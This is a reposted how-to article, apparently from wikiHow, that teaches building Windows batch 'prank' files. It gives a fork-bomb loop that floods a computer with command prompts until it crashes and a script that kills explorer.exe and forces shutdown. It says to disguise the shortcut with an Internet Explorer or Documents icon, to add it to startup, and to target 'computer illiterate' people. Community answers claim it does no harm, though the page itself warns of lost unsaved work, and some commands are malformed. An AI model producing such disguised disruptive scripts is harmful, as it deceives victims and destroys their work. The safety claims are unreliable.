banner



How To Create Restart Batch File

Download Article

Download Article

Ever seen the matrix? Well you can utilize a Matrix style code to crash a computer. With this you can play pranks on friends and family.

Steps Download Article

  1. 1

    Open up Notepad.

  2. 2

    For Windows XP, go to Start and click All Programs. In All Programs click Accessories, in Accessories click Notepad. For Windows 7, click Start then type in the search bar at the bottom type; Notepad and press enter.

  3. 3

    Copy this code into Notepad:

                                                @                      echo                      off                      color                      a                      cls                      :                      top                      start                      goto                      top                    
  4. 4

    Save as a Batch file. For example as cmd_prank.bat.

  5. 5

    Create a shortcut to the prank. Right click on the file and click Send To, then Desktop.

  6. 6

    Change the icon. Go to the Desktop and right click and go to Properties and Change Icon. Make the icon Internet Explorer or the Documents icon.

  7. 7

    Click Apply then Ok.

  8. 8

    Right click again and rename the file to correspond with the icon.

  9. 9

    When the file is double clicked, hundreds of command prompts open up and crash the monitor. To stop this before it happens, pull out the battery or press and hold the power key until it turns off(laptops) or unplug the computer, not the monitor (desktops).

  1. 1

    Open notepad and type the following code:

                          kill -f explorer.exe shutdown -s -f                      exit                    
  2. 2

    Save as a Batch file. In Notepad, press Ctrl+S , then select "Any" as file type, enter a name with a ".bat" extension, for example "Anything.bat", and click on Save .

  3. 3

    Run it.

Add New Question

  • Question

    Will it harm the computer in any way?

    Community Answer

    No. It will not harm your computer.

  • Question

    How do I change the message?

    Community Answer

    Shutdown -s -f -c "Your Comment Here". Replace the "Your Comment Here" with your own message and that's it!

  • Question

    How do I make a batch file that activates on startup?

    Community Answer

    Open Notepad and type in: @echo off start "" "cmdprank.bat." Save it as any name, but make sure it has .bat or .cmd at the end of the filename. Then, follow Method 1, not Method 2.

  • Question

    All I have to do is turn the computer back on afterwards?

    Community Answer

    Turning the computer back on after one of these programs crashes will not result in any problems. These programs will not do anything if you don't open them. However, putting one of them in the startup folder is not a very good idea, because they will start as soon as the computer starts, then crash it immediately.

  • Question

    Can I kill programs other than file explorer? Like Google Chrome?

    Zhongli, Archon of Liyue (Aasim)

    Zhongli, Archon of Liyue (Aasim)

    Community Answer

    Yes, you can. Use "chrome.exe" for Google Chrome. You need to have the name of the process to kill a task.

  • Question

    Is kill -f explorer.exe for canceling shutdown?

    Community Answer

    It is how you can navigate in Windows. If killed, it will leave the desktop inacessible and only have the background in it. A critical task is wininit.exe, which will initiate BSoD.

  • Question

    Can this harm my PC?

    Community Answer

    No, it can't. It is safe. With the cmd spam way, just make sure to unplug the computer quickly.

  • Question

    Why do I get sent back to the notepad when I open the file?

    Community Answer

    Your default program is Notepad, so right click and choose Open With. You should be able to change the default program. If not, then it's not a bat file.

  • Question

    How do you reopen the computer when it crashes?

    Stephen Dave Machica

    Stephen Dave Machica

    Community Answer

    If it shows a blue screen with white letters, wait for it to restart, or if the whole PC crashes, restart the PC.

Ask a Question

200 characters left

Include your email address to get a message when this question is answered.

Submit


  • Always check your own computer for a desktop file like this, by seeing if it's a shortcut. If it is, right click and click Edit (if possible). If it seems suspicious delete it.

  • Use this on someone who is computer illiterate.

Thanks for submitting a tip for review!

  • This may result in an office war.

  • Also the computer can lose any unsaved open files i.e. Word, Downloads in progress, etc.

About This Article

Thanks to all authors for creating a page that has been read 61,006 times.

Is this article up to date?

How To Create Restart Batch File

Source: https://www.wikihow.com/Make-a-Scary-Batch-File-for-Command-Prompt

Posted by: laliberteflooke42.blogspot.com

0 Response to "How To Create Restart Batch File"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel